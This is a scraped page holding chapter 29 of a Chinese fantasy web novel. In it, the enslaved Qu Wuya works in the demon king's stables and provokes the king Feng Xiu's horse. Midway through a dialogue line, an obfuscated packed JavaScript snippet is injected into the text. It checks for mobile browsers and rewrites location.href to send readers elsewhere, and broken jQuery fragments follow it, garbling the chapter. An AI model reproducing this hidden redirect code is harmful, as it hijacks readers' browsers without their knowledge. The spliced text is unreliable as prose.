默认冷灰
24号文字
方正启体

29. 第 29 章

作者:白首按剑本书字数:K更新时间:
    除夕夜,瞿无涯是在囚车上过的,和其余的九个奴隶,他靠在车壁上紧紧抱着膝盖取暖。


    他醒来时,手上脚上全被镣铐锁住,为了减少意外的发生,这个锁链还有封住大半灵力的效果——就算是非修道者,也有可能会使用灵力,只是高不到哪去罢了——剩下一些灵力可以辅助干活。对修为高的人来说,可以强行突破桎梏,但他做不到。


    周围都是和他一般被铐住的人,在他的询问下,有人好心告诉他这是使团。


    瞿无涯并不傻,他一下就想通其中关窍。爱子心切的李叔把他卖了。也许是这段时间发生的事太多,他甚至没有多少伤心。


    更多的是疑惑,这也是他天真的报应吗?关照了他十几年的李叔,变成青面獠牙的恶人。


    可是,他怎么会对李叔生出提防之心呢?那是从小到大疼他、爱他的长辈。


    若这不是他的错,那是谁的错?李叔吗?李叔对他的好不是假,卖了他也是真。只是,李奇胜是李叔的独子,李叔不想儿子就那样倒霉地去赴死。


    那李奇胜又做错了什么吗?他固然不是什么多善的人,却也称不上是恶人,他为何就要遇到这种倒霉的事?


    瞿无涯感到无力,那该怪谁呢?怪残忍霸道的妖族吗?几百年前,人族势盛时,遍地都是捉妖师猎杀妖族,只不过如今的地位翻转。


    妖族有什么对人族宽容的理由吗?


    可是他有不能走的理由,遥幽还沉睡,他得带遥幽去求医。他的叫唤引来侍卫,但他说出自己根本不是李奇胜后,换来的是一顿教训。


    瞿无涯生生地受了三脚,他擦干嘴角的血。


    回答他问题的好心人告诉他,这儿多的是说自己是误押的人,谁知真的假的。使团的人也根本不管这些,来了就算人头,总之人头对得上就行。


    他们交换了姓名,对方叫越卓。


    接下来,他和越卓上了同一辆囚车,往妖界而去。在两界相接处时,奴隶们开始被分类,往不同的地方而去。


    他和越卓因年轻、相貌好,被分为上乘的奴隶去王都,所以他们还是跟着使团。


    分完后,越卓的冷汗都流下来,道:“幸好是王都。”


    “王都好吗?”瞿无涯问道。


    “相对好吧。”越卓苦中作乐,道,“王都是人族化较高的地方,起码不会被当作食物吃了。而且由于妖王推崇人族文化,那儿的妖明面上也不会太野蛮,少受点苦吧。”


    “凤休推崇人族文化?”瞿无涯讶异,凤休那副看不起人族的模样他可是记得。


    “欸!你小声点,别直呼妖王名讳。”越卓解释道,“对,你要知道,在妖王还不是妖王的时候,妖界简直就是蛮荒之地,毫无秩序,一团乱麻。随后,妖王号集了众妖的心,仿人族一般建立起文明。”


    瞿无涯很不屑,道:“那凤休不就是窃取我们人族的智慧吗?小偷,无耻。”


    看见越卓一脸惊恐,他又道:“名字不就是给人叫的,有什么好忌讳的,凤休凤休凤休,我偏要叫。”


    这段时间,在越卓印象中的瞿无涯都是沉默冷淡,笑都不怎么笑,更别提有什么情绪。除却一开始说自己是被人下药送过来时情绪有些激动,后被踹了三脚仿佛把他踹成哑巴了一般。


    乍一提妖王,好似打开了什么开关,越卓赶紧捂住他的嘴,道:“这可是妖界,乱说话小心连王都还没到就死了。”


    瞿无涯不想死,闷闷地闭上嘴。


    侍卫甩着鞭子,吼道:“拉拉扯扯干什么呢,还不快回去!”


    葬骨川的风阴冷,还带着一丝陈旧的血腥味,皑皑白雪铺满荒原,深深浅浅的脚印。平心而论,使团也没有苛待奴隶,他们可不想奴隶死在半路上没法交差。


    瞿无涯有些冷,其实这个冬日很冷,但他今日才感觉到。浑浑噩噩地进妖界,身陷囹圄,他又是担心遥幽,又是茫然于长辈的算计。


    越卓的一句“妖王”点醒了他,他不能再麻木下去,当下的状况是很糟糕,他才更需要打起精神去应对。


    他伸出手虚握着胳膊,伤口已经结痂,新的血肉和疤痕将会生长。


    妖族并不像人族有除夕夜的说法,对人族来说新年值得庆祝,但对妖族来说往后还有几百年。


    因而王都大会才更像他们的除夕,所以这一路周围也有点喜庆的意味在。


    每日定期都会有人给奴隶施净身术、净衣术,镣铐是完全没机会解开的。其实跑出去也没用,一个人族在举目无亲、完全陌生的妖界,活下去的可能性说不定比奴隶还小。


    只不过为了保证人头,侍卫们还是看得很紧。若是能跑,瞿无涯也不是毫无自保手段,他不怕在妖界中行走。


    王都大会是三月,但从十二月开始,王都便众妖云集也包括人族的使者。因是特殊的年份,使者都是从四大家族中任选一家为代表。


    使团因人数繁多,如押送的奴隶、进贡的美人还有献艺的舞姬等等,所以是在使者之后才到达。今年的西州使者是诸家家主诸文义,携其女诸眉人已经到达王都。


    相比越卓的积极向上,就算当奴隶也要当过得好的奴隶,瞿无涯并不想太引人注目。


    在最后会选时,瞿无涯把脸抹得黑不溜秋,被安排去马房——在人族叫马厩,但妖嫌“厩”太生僻不好念,就管叫马房了。而越卓如愿去了王宫,不管什么地方,总归是越接近权力中心越好,就算是当狗,当养马的狗和妖王的狗还是不一样的。


    在一开始,瞿无涯抱过希望,能不能借钟离的关系请诸眉人帮忙,尽管很厚脸皮,但总不能就这样无所作为。他要找到机会。


    只是奴隶根本没有人身自由,且每日的活压得他筋疲力尽,从喂养马匹到清洁马房、工具,还要搬运草捆、谷物袋。


    伙食也很差,这倒不是妖族刻意苛待,只是妖无需像人族一般讲究进食,只有有地位的妖才会去弄人族的菜品去招待客人。


    甚至有妖认为人吃草就能活。对,他们的马监就这样抱怨过人太难伺候,马吃草能活,为何人不可以?


    妖族本也是没有骑马的习俗,只是妖王喜欢,就建了一个马房,冷清得很,基本上没有妖会来。


    对于马房的奴隶来说,不用和太多妖打交道,小命保住的机率大,脏、苦一些也是可以忍受的。


    “乌鸦,今日竟然有饭。”


    对,现在瞿无涯有了一个奴隶名叫“乌鸦”,每一个奴隶都要抛弃原来的名字,取一个低贱上口的名字供主人叫唤。马监的原话是“什么去无牙,就叫乌鸦”。


    说话的正是他的同僚鹦鹉,说实话比起叫“鹦鹉”,他还是宁愿叫“乌鸦”。


    对于鹦鹉发出是感叹,他也深有同感,妖族和原始人似的,天天就给他们吃果子。


    准确来说,这也不算饭,而是一堆白粥。瞿无涯添了一碗,尝一口,道:“半生不熟的。”


    鹦鹉十分知足,道:“有就不错了。我已经一年没尝过米饭的味道了。”


    “你是去年来的?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126474|180071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    鹦鹉点头:“嗯,这里虽然饿一点,苦一些,好歹伺候的是马。也是平安活过了一年。”


    “那这一年,有什么妖来过?”


    鹦鹉沉思一会,道:“想来学习骑马的妖,也就萱少主一个吧。”


    “萱少主?”瞿无涯眨眨眼,“她是谁?”


    “就是王都城主的女儿乐萱。”


    “王都城主?王都的主人不是妖王吗?”


    鹦鹉夸张地咂舌:“哇,你真是什么也不知道。”


    瞿无涯诚实地点头:“对,我不太了解妖界。”


    “这么说吧,妖王以下是妖君,妖君麾下是妖将,妖将镇守各城,然后就是妖尉、妖兵。城主就是特殊的妖将,他隶属于妖王麾下,因而也被称为第十三个妖君。”


    鹦鹉人如其名,叨叨道:“这次王都大会,不止妖君,各地的妖将也会过来。萱少主大约是要招待客人,所以最近都没空来了。”


    “萱少主是怎么样的妖?”


    鹦鹉想了想,道:“性情还可以,不暴躁。王都的妖相对来说,脾气确实好上一些。”


    “她会骑马吗?”瞿无涯若有所思地盯着马棚。


    “不太会,但妖界也没什么妖会骑马。”


    “她的马是哪匹?”


    鹦鹉一指一匹赤白相间的马,道:“喏,那个叫红雪的。”


    此后,瞿无涯对红雪多有关照。


    冷清的马房终于来了客人,但不是瞿无涯以为的萱少主,而是妖王凤休。


    远处,行事粗暴蛮狠的马监正点头哈腰,谄媚地笑,和凤休交谈。


    瞿无涯靠在马棚的草堆上,掰断手中的树枝,冷淡道:“鹦鹉,你知道妖王的马是哪匹吗?”


    鹦鹉刚清洗完水槽,一指,道:“墨影。”


    那是一旁通体黝黑的马,双眼炯炯有神,瞿无涯捡起地上的铁钉,悄悄往手掌一划,鲜血流出来。


    他靠近墨影,把手放在马鼻的旁边,故意急促地呼吸。果然,马被鲜血和喘息干扰了判断,焦躁不安起来。


    做完这一切,他又远离墨影,往一旁的井口走去,打水清洗伤口。接下来他的手会痛上好些天,也许还会因为要干活伤害到伤口,但那都无所谓。


    凤休没察觉异常,他和这任“墨影”没见过,他都十几年没回过王都。他的每一匹马都叫墨影,是马监从人族进贡的汗血宝马中挑选一匹黑色的,墨影的狂躁被他以为是脾气暴。


    等这一次王都大会结束,再回王都就不知是何年何月,至少得看看这任“墨影”才行。


    凤休踩上马鞍,坐好,抓着缰绳,在马场试骑。


    可墨影却越发狂躁,他毫不在意地尝试驾驭墨影。


    算起来,凤休也很久没骑过马,一时不察,马后仰,他被甩在空中,如墨的长发倒垂下来,几乎要和土地亲吻。


    目不转睛的瞿无涯差点笑出声,等着看凤休出糗——但也没指望真能出糗,一个妖王难不成还能被马摔了,只是降伏不了区区一匹马有失妖王威严吧。


    果不其然,凤休手中出现穿云枪,枪头被他钉在土地上,他借力稳住身形,在空中把颠倒的身体翻转正,站定。


    凤休松开手,土中的穿云枪震动。


    他皱眉,道:“又干什么?”


    瞿无涯笑不出来了。


    因为穿云枪拔地而起,直直地往他而来,枪头刺在他脚尖一寸的土地上。


    一时间,整个马房的人和妖都看向他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)